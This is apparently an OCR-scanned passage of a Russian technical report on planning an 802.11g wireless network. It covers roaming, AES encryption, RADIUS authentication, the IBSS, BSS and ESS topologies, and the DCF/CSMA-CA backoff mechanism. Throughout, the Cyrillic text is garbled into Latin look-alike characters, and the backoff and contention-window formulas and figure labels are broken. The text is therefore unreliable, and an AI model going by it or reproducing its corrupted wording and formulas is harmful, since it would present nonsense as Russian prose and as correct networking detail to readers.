nepenaud  JaHHBIX. becnpoBojiHAas BBICOKO3AIIMIIEHHAs CETh NEpeJadyd JaHHbBIX,
pabotaromasgs no cranaaprty 802.11g B auamnazone yactor 2.4-2.483 I'Tu. CkopocTb
nepefaud JIaHHBIX CocTaBisieT He MeHee 24 MOuT/cek, B pacuere Ha OJIHOrO
nosib3oBatenss. B cucreme, oOecrieunBaeTcsi OECIIOBHBIA pPOYMHHI, MpPUMEHSETCS
HAJIe)KHAS JIBYXCTOPOHHSA ayTeHTU(UKAIus, i1 MudpoBaHUS TEepeaaBacMoi 1o
paguokaHany wuHGoOpMalMu MnpuMeHsercs ainroputMm mudpoBanus AES. B cetn
npuMeHsiercs obopynosanne kommanuu D-Link.
OCHOBHBIMU 337Ja4aMU CETH SBJISIOTCSL:
- obecreueHNe POYMUHTa HAa TEPPUTOPUM OXBAYECHHOW OECTIPOBOIHOM
CEThIO;
- OIpeleseHHe 30H MOKPBITUA KaXI0M M3 TOYEK AOCTyNa M YacTOTHOE
TJIAaHUPOBAHME;
- obecrieueHne 3a1aHHOM CKOPOCTH TIepeIayn;
- BBIOOP HAACKHBIX METOJI ayTeHTU(PUKauK U mudpoBanus Tpaduka,

- BBIOOp MTPOTrpaMMHO — amnmapaTHOrO0 KOMILIEKCA.

2. KpaTrkue TeopeTu4ecKue CBeIeHHs

BbecnipoBoaubie cetn cranmapta 802.11 wmu Wi-Fi, npuobperaroT Bce OOJBIIYIO
MOMYJISIPHOCTh. B KauecTBe cpenbl mepeiayud HUCMHoJib3yeTcs paauokaHain. Ilo mepe
pa3BUTHUA CTaHJAPTa YBEIMYUBAIACH CKOPOCTh MEpPeavn, COBEPIICHCTBOBAINCH METOIbI
3aIUTHl TepeaaBaeMor uHpopManmu. Ha cerogHsmHuil 1eHb ypOBEHb 3allUIIIEHHOCTH
TpaduKa CpaBHUM C TaKOBBIM B IIPOBOJHBIX ceTsax Ethernet, omnako ckopoctu nepenaun

I/IHCI)OpMaI_[I/II/I BCC CHIC 3HAYWUTCIbHO MCHBIIC YCM B IIPOBOJHBIX CCTIIX. CTaHI[apTBI
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802.11a/g mpenocTaBisAIOT B PACIOPSIKEHUE TOJIh30BATENCH MOMYAYIUICKCHBIN KaHam ¢
MPOMyCKHOM crocoOHocThi0 54 Mout/c. OpHako OecnpoBOJHBIE CETH  AApST
MOJIb30BATEIsIM MOOHMIIBHOCTh, OBICTpEE pa3BEPTHIBAIOTCS U B HEKOTOPBIX CIIydasx
nemieBne. becrpoBogHble ceTH pa3BEepTHIBAIOTCA, KaK MPaBWIIO, TaM, TJ€ HE HY>KHBI

BBICOKHE CKOPOCTH Tepeaauu (kade, BOK3albl, a3pONopThl).

Ha3nauenue u 00,1aCTh NIPUMEHEHHUS CHCTEMbI

Cetp cranmapta 802.11g oTHOcHTCS K KJaccy OECHpPOBOAHBIX CETEH, T.e. B
KAa4eCTBE Cpelbl Iepeaadn HCIOJb3yeTcs paanokaHai. [lepemaua Bemercs B auamaszoHe
yactor 2.4 ITu. becnpoBognbie ceTu 00eCreYUBaIOT MOOMJIBHOCTH IMOJIb30BATENIO
nMeronieMy nopratuBHbei [IK, texHomormum poymmuHra B cersax 802.11 mo3BossaroT
aOOHEHTY IepeMelaTbCs B Mpenenax 30Hbl OOCIYKMBAHHMS M IMPU 3TOM COXPAaHSTh
TEKylIue coeluHeHus. Bo MHOrMX KOMITaHMSIX HCIIOJIB3YIOTCS TelnedOHBl CTaHIapTa
802.11, wux mpuUMEHEHHE JaeT BO3MOXXHOCTh BiajeibllaM 0e3 TOTEepPH CBS3U
[IEpEMELIATHCS 10 30HE MOKPBITON CEThIO. Takasi CBsI3b 3HAYMTEIIBHO JIEIIEBIIE COTOBOM,
TaK KaK 3aTpaTbl CBS3aHbl TOJBKO C MPUOOPETEHHEM U HACTPOUKON 000pYyIOBaHUA.
Pa3BepThiBaTh OECIPOBOJHBIE CETH 3HAYMTENILHO OBICTPEE M B HEKOTOPBIX  CIy4asix
JenieBiae, K TOMYy Xe KOHGUTYparuio (30HY MOKPBITHS, KOJUYECTBO TOYEK) MOMKHO
MEHSITh 0€3 3HAUUTEIbHBIX 3aTpaT U B KOPOTKOE BpeMs.

OcCHOBHBIM Ha3HAYeHHEM OECIPOBOJIHBIX CETeH, Kak W JIIOObIX CeTed mepenadyu
JAHHBIX, SBJISICTCS TPEJAOCTABICHUE TMOJIH30BATENSIM BO3MOXKHOCTH OOMEHUBATHCS
JaHHBIMUA JAPYr C JpyroM U TpeaocraBieHue paoctyna B HHrepHer. Baxxkabimu
XapaKTepUCTHUKAMH CETH SIBJISIIOTCS CKOPOCTh IMEpeayd W 3aJepKKU IIpU Iepenaye
naketoB. Ceru cranaapra 802.119 npennararotT noTpeOUTENIO NOJyAYIIIEKCHBIN KaHal ¢
MaKCHMAaJIbBHOM CKOPOCThIO mepenaun 54 Mout/c. Ecnu npeamnosioKuTh 4TO OJHA TOYKa
noctymna oocimykuBaeT 16 KIMEHTOB, TO KaXIOMY W3 HUX jJocTaHercs mo 3.4 Mowut/c.
3anepkKkd B OECHPOBOJHBIX CETAX HECKOJIBKO OOJbllie YeM B MPOBOIHBIX, U CHIIBHO
3aBUCAT OT 3alIyMJICHHOCTH 3(upa, OJHAKO 3TO HE MEIIAeT YCHENIHO IepeaaBaTh

r0JIOCOBOM TpaduK.
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DYHKUUM CeTH

OcHoBHbIE (PYHKITHH:
- IPEeIOCTaBJICHUE JIOCTYIIa K pecypcaM KOPIOpPaTUBHOM CETH;
- 3alUTa IepeaaBaeMoi 1Mo ceTH UH(OpMAaIIHH;

- HaAACKHAasA aYTeHTI/I(i)I/IKaHI/IH I10JIb30BATEIICH.

Cocras cetn

Ucxons u3 mnepedyuciieHHbIX (GYHKIUA MOXHO YyKa3aTh MUHUMAJBHBIA COCTaB
CHUCTEMBI:

Knuentckue ycrpoiictBa. bynem nonumares iar000e 000pymIOBaHHUE MOJIB30BATENS
cootBercTBytomiee cranaapry 802.11g. (manpumep IIK umu HOyTOYK ¢ O€CTIpOBOAHBIMU
CETEBBIM a1alTEPOM).

VYerpoiictBo  OecripoBopnoro  noctyna B JIBC. IlporpammHo-anmapaTHBIM
KOMILJIEKC, MO3BOJSIIOIIMNA IepeAaBaTh JaHHbIE IO OECHpPOBOJHOMY KaHaily (TOYKa
JOCTyTIA).

becnipoBoHON KOMMYTATOp, B 3a/la4yd KOTOPOTO BXOJUT OOECIIEUYEHHUE POYMHHTA
MEX]ly TOUKaMHu JTOCTyTa.

Cucrema ayrtentudukamuu. CucreMa IEHTPAIM30BAaHHOTO JOCTyna Ha 0ase
cepepa RADIUS (Remote Access Dial-In User Service — cepBuc AHMCTaHIIMOHHOTO

M0JIb30BATENBCKOTO AOCTYTIA).

MeToabl IOCTPOCHUSI COBPEMEHHbBIX 0€CIIPOBOAHBIX CeTeH
MoOXHO BBLACTUTH, TPH OCHOBHBIX BapHaHTa TIOCTPOEHHUS  (TOMOJIOTHIN)
OecrpoBOAHBIX ceTelt cranmapta 802.11:
- He3aBHCHMbIe 0a30BbIe 30HBI 00cmy:kuBanus (independent basic service sets,
IBSSS);

- 6a3oBbIe 30HbI 00CTy)kuBanus (basic service sets, BSSs);
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- pacmpeHHble 30HBI o0cy)uBanus (extended service sets, ESSs).

3oHa oOcHyxkuBaHUsA (service set) B JaHHOM cllydae — OJTO JIOTHYECKH
crpynnupoBaHHbie ycTpoicTBa. TexHomorus WLAN obecnieunBaeT AOCTYH K CETU MyTEM
nepeaadyrd MIMPOKOBEIIATEeILHBIX CHUTHAIOB uepe3 A(up Ha HECylmed B auara3oHe
paauouactoT. [IpuHuMaromas craHuys MOXET IMOJIy4yaTh CUTHAJBI B AUana3oHe paboThI
HECKOJIbKMX Tepenaromux crtadiuil. [lepeparomass craHiuss BHayajie mepenaet
uaeHTH(GUKATOP 30HBI 00cTykuBaHus (service set identifier, SSID). CTaHIMSI-IPUESMHUK
ucnosb3yet SSID ang ¢punpTpauu noxy4yaeMbIX CUTHAJIOB U BbIICIIEHUS TOTO, KOTOPBIN

€1 HY>KEH.

He3zaBucumblie 6a3oBbie 30HbI 00cay:;kuBanus IBSS

IBSS npencrasisger coboil rpymnmny paboTaloluX B COOTBETCTBUU CO CTaHAAPTOM
802.11 craHumii, CBSA3BIBAIOIIMXCS HEMOCPEACTBEHHO oaHa c Jpyrou. IBSS Ttakxke
Ha3bIBAIOT CIIELMAJIbHON, WM HemIaHoBOM (ad-hoc) ceThro, MOTOMYy YTO OHa, MO CYTH,
npeacTaBisger coboil mnpoctyro oaHopanroByto WLAN. CoernuanbHasi ceTh, WU
He3aBucuMas OazoBasi 30Ha oOcmyxkuBaHusi (IBSS), Bo3HuMKaeT, Korja OTAENbHbBIE
yCTPOMCTBA-KIMEHTHl (POPMHUPYIOT CaMOIOAJIEPKUBAIOIIYIOCS CeTh 0€3 MCIOJIb30BaHUS

OT/ACJIbHOM TOUkM aoctyna (puc. 1).

T

Puc. 1. Crpykrypa IBSS

[Ipu co3manuu Takux cereld He pa3pabaThIBAIOT Kakue-THOO KapThl MeCTa HX
pa3BepThIBAHUS M TIPEIBAPUTEIBHBIC TUIAHBI, TIOATOMY OHU OOBIYHO HEBEITUKU M UMEIOT
OTPAaHUYCHHYIO MPOTSHKEHHOCTh, JOCTATOUHYIO IS MEepelaud COBMECTHO UCIOIb3YEMbIX

JaHHBIX IIPH BO3HHKHOBCHHH TaKou HGO6XOI[I/IMOCTI/I. B ormuune ot BapHuaHTa
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UCIOJIb30BaHUsl paclIupeHHoN 30HbI 00cmykuBanus (ESS), kineHTsl HEMOCpeICTBEHHO
YCTaHaBJIMBAIOT COCANMHEHUS APYT C APYTOM, B Pe3yJIbTaTe€ YEro CO3JAeTCs TOJIBKO OJIHA
0azoBast 30Ha obOcmyxuBanus (BSS), ne umeromas mnTepdeiica A MOAKIIOYCHHUS K
IIPOBOJHOM JOKAJIBHOW CETH (T.€. OTCYTCTBYET Kakas-11u00 pacupeneauTeabHas CUCTEMA,
KoTopas HeoOxoauMa Juisi oobeauHeHust BSS u opranuzanuum takum ob6paszom ESS). Ha
JAHHBII MOMEHT HE CYLIECTBYET KaKUX-JIMOO OTOBOPEHHBIX CTAH/IAPTOM OTPAHMYEHUN HA
KOJIMYECTBO YCTPOMCTB, KOTOPhIE MOTYT BXOJUTHh B OJIHY HE3aBUCUMYIO 0a30BYI0 30HY
obcnmyxxuBaHusi. Ho, MOCKOJBbKY KaJ0€ YCTPOMCTBO SIBIISIETCS KIMEHTOM, 3a4acTyio
OmpenesIeHHOe 4Ynciio WwieHOB IBSS He MOXKeET CBA3BIBATBCSA OOWH C IPYTHM BCIIEICTBUE
npobiemsbl ckpbiToro y3ia (hidden node issue). Hecmotpst Ha 310, B IBSS He cymecTByeT
KaKoro-1m00 MexaHu3Mma JJid peanu3aunu (GyHKIUH pEeTPaHCIISILIHIH.

[Tockonbky B IBSS orcyTcTByeT Touka nocTyma, pacupeneiaeHue BpeMeHu (timing)
OCYLIECTBISAETCS HELEHTpaau30BaHHO. KimeHT, HaunHaromuil nepenady B IBSS, 3anmaer
CUTHAJIbHBIN (€T0 eIlle Ha3bIBaIOT MasuKoBhIN) nHTEpBai (beacon interval) ayist co3manus
HaboOpa MOMEHTOB BpPEMEHHU Iepefaud MasuykoBoro curHaina (set of target beacon
transmission time, TBTT). Korna 3aBepmaercs TBTT, kaxnpiit kiauent IBSS Beimonnsier
cnenyroiee. [IprocranasiauBaeT Bce HecpaboTaBIne TaiMmepsl 3aaepxku (backoff timer)
u3 npeasiaymero TBTT. Onpeaensier HOBYIO ClIy4aHYIO 3aCPKKY.

Ecnm MasykoBBIN CUTHAJ MOCTYIIAET A0 OKOHYAHUS CIyYalHOW 3aIepiKKH,
BO30OHOBJISIET pa0OTy MPUOCTAHOBJICHHBIX TalMEpOB 3aJepKKu. Eciam HuKakoin
MAasiYKOBBIM CHUTHAJ HE IIOCTYIMAET [0 OKOHYaHUS CIYyYalHOM 3aJIEp’KKH, IOCBUIAET
MasiYKOBBIM CUTHAII U BO3OOHOBIISIET pa00Ty MPHUOCTAHOBJICHHBIX TAMEPOB 3aACPHKKH.

OTtcroa BUJHO, YTO pacHpeIeICHUE BPEMEHM IS MIEPEJayl MAsTYKOBBIX CUTHAJIOB
OCYLIECTBISIETCA B CIIELHMAIBHBIX CETSIX HE TOYKOW JOCTYINa W HE KAKUM-TO OJHUM U3
KJIMeHTOB. [IoCKOIBKY TakoW cXeme CBA3M IMpHUCYIa MpodiieMa CKPBITOrO y3Jia, BIOJHE
BO3MOXKHO, 4YTO B TEUYEHHE CHUTHAJIBHOIO HMHTEpBaja OyAeT MepeaaH0 MHOKECTBO
MasiYKOBBIX CHTHAJIOB OT Pa3HbIX KIMEHTOB W APYrHe KJIMEHTHI MOJy4aT MHOXKECTBO
MasiYKOBBIX CHTHajoB. OJHAKO, CTaHIAPT BIIOJIHE JIOMYCKAeT TaKyl0 CUTYyalui0 H

HHUKaKHX HpO6J’I€M HC BO3HHUKACT, ITOCKOJIbKY KIIMCHTBI OKUAAI0OT IIPHUEMa TOJIBKO IICPBOTO
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MasidKOBOT'O CUTHAJIA, OTHOCSIIETOCS K UX COOCTBEHHOMY TailMepy CIIy9ailHOW 3aICPKKHU.

B MasukoBble CHrHaJIbI BCTpoeHa (YHKIMS CHHXPOHM3ALMU Taimepa (timer
synchronization function, TSF). Kaxxapiii knmueHT cpaBHuBaeT TSF B MassukOBOM CHUTHAJIE
CO CBOMM COOCTBEHHBIM TaliMEPOM U, €CJIM MOTYYCHHOE 3HaUC€HUE OOJIBIIIE, CUUTAET, UYTO
qachl MepeAaronieil CTaHIuu UAYT ObICTpEEe U MOACTPaUBaeT CBOM COOCTBEHHBIN Taiimep B
COOTBETCTBHUU C TIOJYYCHHBIM 3HAYECHHUEM. OJTO HWMEET JOJITOBPEeMEHHBIA 3(deKT
CUHXPOHHU3AIMK pabOThl BCEW HEIJIAHOBOM CETH MO KIMEHTY C CaMbIM OBICTPBIM
TaliMepoM. B 60IbIINX pacnpeieieHHbIX HETIAHOBBIX CETSIX, KOT/Ia MHOTHE KIHEHTHI He
MOTYT CBSI3bIBATBHCSl HANpPSIMYI0, MOXKET MOHAJAOOUTHCS HEKOTOPOE Bpems s

AJOCTHKCHUS CHHXPOHU3AINH BCCX KIIMCHTOB.

ba3oBbie 30Hb1 00cay:kuBanus BSS
BSS — at10 rpynma pabortarommx mo craaapty 802.11 cTaHiuii, CBI3bIBAIOMINXCS
omHa ¢ npyroi. Texuomorust BSS mpennonaraer Hanuume ocoOoil CTaHIUHM, KOTOpas

Ha3bIBaETCA TOUKA JIocTyna (access point) (puc. 2).

()
[5 BBIX0/ BO BHEIIHIOIO CETh

®

Puc. 2. Ctpykrypa BSS
Touka gocTyma — 3TO LEHTPAJIBHBIA IMYHKT CBSI3M U1 Bcex craHuuii BSS.
KinneHnTckue cTaHIMM HE CBSI3BIBAIOTCS HEMOCPEACTBEHHO OJHA C Apyroi. Bmecto sToro
OHH CBSI3BIBAIOTCS C TOUKOW JTOCTYTA, a YK€ OHa HaIrpasisieT pperiMbl CTaHLUU-aIpecary.
Touka goctyna MOKeT UMETh MOPT BocxoAsmiero kanaina (uplink port), yepes KoTopblit

BSS mnoaxmrouaeTcs k mpoBomHON ceTu (Hampumep, Bocxozsmiuii kanan Ethernet).
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[Toatomy BSS nnHorna HaseiBarot uadpactpykrypoit BSS.

PacimumpeHHblie 30HbI 00cay:kuBanusi ESS

Heckonbko uabpactpykryp BSS mMoryT ObITH coequHeHBI Yepe3 UX UHTEPEHUCH
Bocxoasmero kanana. Tam, rae aedictByer ctannapt 802.11, uHTepdeiic BoCXoasmiero
KaHajga coenuuser BSS ¢ pacnpenenurensHoi cuctemoii (distribution system, DS).
Heckonbko BSS, coeamneHHbIX Mexay co0oil depe3 pachpefeNUTeNbHYI0 CHUCTEMY,
00pa3yloT pacHmMpeHHyr0 30HY obciayxuBanus (ESS). Bocxomsamuii kaHan K
pacnpeseNuTeNbHON CUCTeME He 0053aTelbHO JIOJDKEH HCIO0JIb30BaTh IPOBOJHOE
coenqunenne. Ha pucynke 4.3 mpencrasieH mpumep cTpyktypsl ESS. Crnemmduxarus
crangapta 802.11 ocTaBiusieT BO3MOXKHOCTh pEaJM3alMM 3TOTO KaHala B BUIE
oecripoBogHoro. Ho wame Bocxomsmiye KaHaidbl K PACTIpEACTUTENBHON CUCTEME

NpEeCTaBISAIOT cO00i KaHambl poBogHOM Ethernet.

BbIX0J1 BO BHEIIHIO CETh

VU

Puc. 3. Crpykrypa ESS

O030p MexaHM3MOB JI0CTYIIA K Cpe/e

[IpenoTBpanieHue KOUIU3UHN SBISETCS KIOYEBBIM MOMEHTOM il O€CIIPOBOIHBIX
ceTeil, MOCKOJIbKY MOCJEeIHNE HE UMEIOT SIBHOTO MEXaHM3Ma JiJisl ux oOHapyxeHus. [Ipu
ucnonb3oBanuu TexHoiorun CSMA/CA, komnu3usi OOHApY»KUBACTCS TOJBKO TPH

HEMOJIYYEHUHM TMEPEAAONIE CTAaHUMEN OXUIAAEMOr0 MOATBEpPXKICHUSA. Peamnzanus
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texnosmorun CSMA/CA crarmaprom 802.11 ocymecTBiusieTcss NpPU  UCIONIb30BaHUU
pacnpenenennoi ¢pyukiuu koopauHauu (distributed coordination function, DCF). dus
NPEOTBPALICHUS KOJUTM3UHA B CETAX C TOYKOH JIOCTYIa MPEAYCMOTPEH OMIIMOHAaTbHBIHN
MeXaHU3M [eHTpanu3oBaHHOW ¢(yHkun koopmuHammu ~ PCF  (Point Coordination

Function).

@yHK1Us pacnpeaeneHHon koopaunanuu DCF

Ha nepBbIii B3r1si; OpraHu30BaTh COBMECTHBIM JTOCTYN K CpPEAE MEPENAdn JaHHBIX
JOCTATOYHO MpocTo. [ 3TOro HEoOXOauMO JHUIlb O0ECIeUUTh, YTOOBI BCE Y3JIbI
nepeaaBaid JaHHbIE TOJIBKO TOTAa, KOTJa cpea sBIsSETCs CBOOOIHOM, TO €CTh KOI/ia HU
OJIMH U3 y3JI0OB HE MPOU3BOJUT Mepenady AaHHbIX. OTHAKO TaKOW MEXaHU3M HEU30€KHO
IPUBEAET K KOJUIU3UAM, IMOCKOJBKY BEJIMKA BEPOSTHOCTH TOTO, YTO JIBA UJIM 0oJiee y3JI0B
OJIHOBPEMEHHO, MBITAsICh MOJYYUTh JOCTYI K CpeJle Mepelauyu JaHHbIX, PEIIaT, 4TO Cpeaa
CBOOOJIHA M HAYHYT OJHOBPEMEHHYIO mepenady. MIMEHHO m03TOMy HE00X0IUMO
pa3paboTarh alropuT™M, CIIOCOOHBIA CHU3UTh BEPOSATHOCTH BOSHUKHOBEHUSI KOJUIU3UH U B
TO € BPEMs FapaHTUPOBATh BCEM Y3JIaM CETH PAaBHOIPABHBIN JOCTYII K Cpe/ie Mepeaadn
JTAHHBIX.

OnHuM W3 BapuMaHTOB OpraHU3allMd TaKOro PaBHOMPABHOTO JOCTYMAa K Cpeae
nepefaund JAaHHbIX sBiseTcs (yHkuus pacnpeaeneHHod koopauHanuu (DCF). Ora
(GYHKIMS OCHOBaHa Ha METOJE KOJJIEKTUBHOTO JOCTyIa ¢ OOHapy>K€HHEM Hecylled u
MexaHu3MoM u3oexanus koyumsui (Carrier Sense Multiple Access/Collision Avoidance,
CSMA/CA). Ilpu Takoil opraHu3alMM KaXKIbId y3ell, MPEXIe YeM HayaTh Mepenady,
«TPOCITYIIUBACT» CPEIY, MBITAICh OOHAPYKUTh HECYIIUNA CUTHAJI, U TOJIKO NP yCIIOBUH,
YTO cpeAa cBOOOAHA, MOXKET Ha4aTh repeaady JaHHbIX.

OpnHako, B 3TOM clly4ae BeJIMKa BEpOSITHOCTh BOZHUKHOBEHUS KOJUIU3UI: KOI/Ia J1Ba
win OoJiee y3JI0B CEeTH OAHOBPEMEHHO (WJIM MOYTH OJHOBPEMEHHO) pelliaTr, 4To cpeaa
CBOOOJIHA, M HAYHYT NpenaBaTh JAaHHbIE. {71 TOro 4YTOOBI CHU3UTH BEPOSTHOCTD
BO3HMKHOBEHHUSI TIOJIOOHBIX CHUTYaIlUi, MCTOJB3YeTCS MEXaHU3M HW30€KaHUS KOJUTH3UI

(Collision Avoidance, CA). CyTp HaHHOTO MEXaHU3Ma 3aKJIIIOYAETCS B CIIEAYIOIIEM.
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Kaxapiit y3en cetu, yOeaquBIINCH, YTO cpeda CBOOOJHA, MPEXKIe YeM HayaTh Iepeaady,
BBDKMIAET B TEUEHHE OIPEACIICHHOTO MPOMEXYTKa BpPEMEHH. ITOT MPOMEXKYTOK
ABIIACTCS CIy4YalHBIM U CKJIAJbIBACTCA W3 JBYX COCTAaBJSIIOMIMX: 005S3aTeIbHOTO
npomexxyTka DIFS (DCF Interframe Space) m BbIOMpaeMoro ciy4ailHeIM o0OpazoMm
npomexyTka odpatHoro orcyeta (backoff time). B pesynprare Kakaplii y3el CeTH mepe
HAYaJoOM TMepeAaud BBDKHIAET B TEUYCHHE CIy4aHOTO MPOMEXYTKa BpPEMEHH, HTO,
€CTECTBEHHO, 3HAYUTEIHHO CHI)KAET BEPOSITHOCTh BO3ZHUKHOBEHHS KOJUTM3UH, MTOCKOJIbKY
BEPOSITHOCTh TOTO, YTO JIBAa y3ja CETU OyIyT BBDKUIATh B TE€UEHHE OJHOTO U TOTO XKeE
IPOMEXKYTKa BPEMEHH, YPE3BbIUANHO MaJa.

JIJist TOro 4TOOBI TAPAHTHUPOBATH BCEM Y3JIaM CETH PAaBHOIIPABHBIN JIOCTYII K Cpeie
nepesayn JaHHBIX, HEOOXOJMMO COOTBETCTBYIOIIMM 0OOpa3oM OMPEEIUTh aITOPUTM
BbIOOpa JIMTENIBHOCTU MpoMexyTka oOpatHoro orcuera (backoff time). IIpomexyTox
00paTHOTO OTCYETa XOTS U SIBJISETCS CIy4allHbIM, HO B TO K€ BpPEMs OINpeEJeNsieTcs] Ha
OCHOBAaHMHM MHOYXECTBA HEKOTOPHIX JUCKPETHBIX MPOMEKYTKOB BPEMEHH, TO €CTh, PaBEH
[EJIOMY YHUCITY 3JEMEHTapHBIX BPEMEHHBIX MPOMEXYTKOB, HA3bIBAEMBIX TalWM-CIOTaMHU
(SlotTime). st BeIOOpa mpomMexyTKa 0OpaTHOTO OTCUETa KA bl y3€l ceTh PopMUpyeT
TaKk Ha3blBaeMo€ OKHO KoHKypeHTHoro joctyna (Contention Window, CW),
UCIIOJIB3YIOMICEeCs JUIsl OMpeeJICHUs] KOJUYEeCTBAa TalM-CIOTOB, B TEYEHHE KOTOPBIX
cTaHMs BeDKMAana mepen mnepenadeil. daktmuecku okHo CW — 3T0 nmama3oH amst
BBIOOpA KOJIMYECTBA TalM-CIIOTOB, MPUYEM MUHHUMAJILHON pa3Mep OKHa OMpeeseTcs B
31 Taitm-cioT, a MakCUMaJIbHBIN pazMep — B 1023 TaiiM-cioTa. [IpomMexxyTok oOpaTHOTO
oTCUeTa OMpEACIIAETCS KaK KOJUYECTBO TaM-CIIOTOB, ONPEAEIieMOe UCXOIsI U3 pa3Mepa

okua CW:

Backoff fime=FRandon] CW \CWp o 1% Slot Time

Korma y3en cetn mbeltaercd NMOMYyYUTH NOCTYI K Cpele Nepefadyd JaHHBIX, TO
nocine o6s3aTenbHOro npomexxyrtka oxxuganus DIFS 3amyckaercst npoueaypa o6paTtHoro
OTCUeTa, TO €CTh BKJIOYAETCS OOpAaTHBIM OTCUET CYETYHMKA TailM-CIOTOB HA4yMHas OT

BbIOpaHHOTO 3HaueHus okHa CW. Eciu B TeyeHne BCEro MpoMeXKyTKa OXKHIAAHUS cpefa
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ocTaBajlach CBOOOJHOM (CUETUYHMK OOpaTHOTO OTCUETAa PABEH HYINIO), TO y3€J HAauWHAET
nepeaavy.

[Tocne ycnemno#t nepegaun okHo CW ¢opmupyercst BHOBb. Eciu ke 3a Bpems
OXKUJaHMs TIepeiady Haual APYroi y3ed CeTH, TO 3HAaYeHHE CUeTYMKa OOpaTHOrO OTCUET
OCTaHABIIMBACTCS W Tepelavya JaHHBIX OTKIajabiBaeTcs. llocie Toro kak cpema craHeT
CcBOOOJHOM, JaHHBIN y3€JI CHOBAa HAaYMHAET MPOILEIypy OOpPaTHOTO OTCcueTa, HO YXKE C
MeHbIIUM pazMepoMm okHa CW, ompenensieMoro mnpeablaylIuM 3HAYEHHUEM CUeTYMKa
00paTHOTO OTCYETa ¥ COOTBETCTBEHHO C MEHBIIINM 3HaUE€HUEM BpeMeHH okumaHus. [Ipu
3TOM OYEBHJIHO, YTO YeM OOJIbIIIEe YUCIIO pa3 y3el OTKIAAbIBACT Mepeaady Mo mpuunHe
3aHSATOCTH CPEJIbI, TEM BBIIIE BEPOSTHOCTH TOTO, YTO B CIEAYIOMUMN pa3 OH MOJIYYHUT

JOCTYT K Cpejie mepeaaun TaHHbIX (puc. 4).

DIFS DIFS DIFS

Backoff time

Vaan A _Fran'ba| . I i_u_l_u OTREMEHD Hjl OTREEHD . Frameg
Yaan B I_[I:ﬂ CnoseHo ﬂTI Frame | | I | | - i

Yaen C | | | Frame | Otnameno

|
Timeziol

Puc. 4. Peanu3anus paBHONPaBHOTO JOCTYyNA K Cpee nepeaadn T1aHHbiX B Metosie DCF
PaccMOTpeHHBI  aNrOpuTM peanu3alid  KOJUIEKTMBHOIO JOCTyna K cpele
nepeadyn JaHHBIX TapaHTUPYET DPABHONPABHBIA JOCTYII BCEX Y3JIOB CETH K Cpele.
OpHako Mpu TakoOM MOJXOJE€ BEPOATHOCTh BO3HUKHOBEHUS KOJUIM3HMM XOTSI U Majia, HO
BCE-TAaKM CyLIECTBYET. IIOHATHO, YTO CHU3UTH BEPOATHOCTH BO3ZHMKHOBEHHMS KOJUIU3HIM
MOYHO IyTE€M YBEIWYEHHUSI MaKCUMaJIbHOTO pa3zmepa dopmupyemoro okHa CW. B To xe
BpeMsi 3TO YBEJIMYMT BpEMEHA 3a/JepXKEK IMpU TMepeladyd M TEeM CaMbIM CHU3UT
IpOU3BOAMUTENBHOCTE ceTu. Iloatomy B Merome DCF nmns MuHMMM3aUuM KOJUIM3UHI
UCIIOJIb3YETCs clenyromuid anroput™. [locne Kaxaoro ycrnemHoro mnpueMa Kajapa
MpUHUMAIOIIAsE CTOpOHa 4depe3 KopoTkuil mpomexkyTok SIFS (Short Interframe Space)

89
152



MOATBEPAKAACT YCIEIIHBbIA MpUEM, MOChUIas OTBETHYIHO KBUTaHIUiO — Kaap ACK
(ACKnowledgement) (puc. 5). Ecnu B nporecce nepeayu JaHHBIX BO3HUKIIA KOJIU3HUA,
TO TIepemarorias cropona He nmoiaydaeT kaap ACK o6 ycnenmHom npueme. B atom ciydae
pasmep CW-0okHa JJIsl EpeIaloIero y3jia yBEIUYUBACTCS MOYTH BABOE. Tak, ecinu st
nepBoi mepenayu pazMep okHa paBeH 31 cioTy, TO Jyisi BTOPOM MOMNBITKU MEpeiadynd OH
y>K€ COCTaBIIIeT 63 cioTa, IJ1sl TpeTheit — 127 cnoToB, AJjist YeTBEPTOM — 255, Mj1s mSTOM —
511, a nnsa Bcex nocnenyromux — 1023 cnora. To ecTh 11 Kakaou 1-i nepenayun (eciau
BCE TMpEIbIIyIINE OKa3zamuch OesycnemHbiMu) pasmep CW-OkHa yBEIMYMBAETCS TIO

CJIETyIOIIEeMY TPaBUITY:
CW, = 200, +1

Takum 00pa3oM, yBeIMUEHHE pa3Mepa OKHA MPOUCXOAUT JUHAMHUYECKU IO Mepe
pocTa 4YKciia KOJUIM3UM, YTO MO3BOJSET, C OJHOW CTOPOHBI, YMEHBIIMTh BPEMEHHBIE

3aJ€P>KKH U, C APYTOM CTOPOHBI, CHU3UTh BEPOATHOCTh BOSHUKHOBEHHUS KOJUTU3UMU.

DIFS SIFS
OtnpasuTens (12| Frame

Monyyatens, | - |ACK

Puc. 5. Kanpel kBUTaHIIMH, OTCHUIAEMBIE B CIIy4ae yCIEIIHOM Nepeaadyu JaHHBIX

I'oBopst 00 anropuTMe peanu3aluy paBHONPABHOIO JOCTyNa K Cpele INepenayu
JaHHBIX, HEOOXOAMMO TAK)KE YUYUTHIBATH U pa3Mep Kajpa JaHHbIX. [leficTBUTENbHO, ecliu
KaJpbl JaHHBIX OyAyT CIMIIKOM OOJBIIMMHU, TO MPU BOSHUKHOBEHUU KOJUIM3HUM MPUAETCS
NOBTOPHO TepeAaBaTh OONbIION 00beM UHGMOpPMAIMU, YTO MPUBEAET K CHHXKECHHIO

MIPOU3BOJUTENILHOCTU ceTu. Kpome Toro, mpu OOJBIIIOM pa3Mepe KajpoB JAHHBIX Y3IIbI
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CETH BBIHYXKJIEHbl NPOCTaWBaTh B TEYEHUE JOBOJBHO MPOJOJIKUTEIBHOIO BPEMEHH,
IpexJie YeM HavaTh rnepeady.

B TO ke BpeMms HCIONb30BaHWE KagpOB AaHHBIX HEOOJBIIOIO pasMepa, XOTd U
MO3BOJISIET TAPAHTUPOBATh PABHONPABHBIN JOCTYI BCEX Y3JIOB K CpPEJEe Nepeaaun TaHHbIX
U MUHUMU3HUPYET U3JEPKKU MPU BOZHUKHOBEHUHU KOJUIM3HM, HE MOXXET HE OTPa3UThCS
HETaTUBHO HAa IOJIE3HOM CETeBOM Tpaduke. Jeao B TOM, YTO KaxAbld KaAp HapsIy C
noJsie3HoM uHopMaIe coepKUT UHGOPMAIUIO CIYKeOHYIO (3aroJoBoK Kazapa). Ilpu
YMEHBIIEHUU pa3Mepa Kajpa COKpallaeTcsl BeITUYrMHa MMEHHO TOJIe3HOW HH(pOpMaluu
(MOJB30BATENBCKUX JAHHBIX), YTO OOYCIIOBIMBAET MEpeaadyy MO CEeTU H30BITOYHOTO
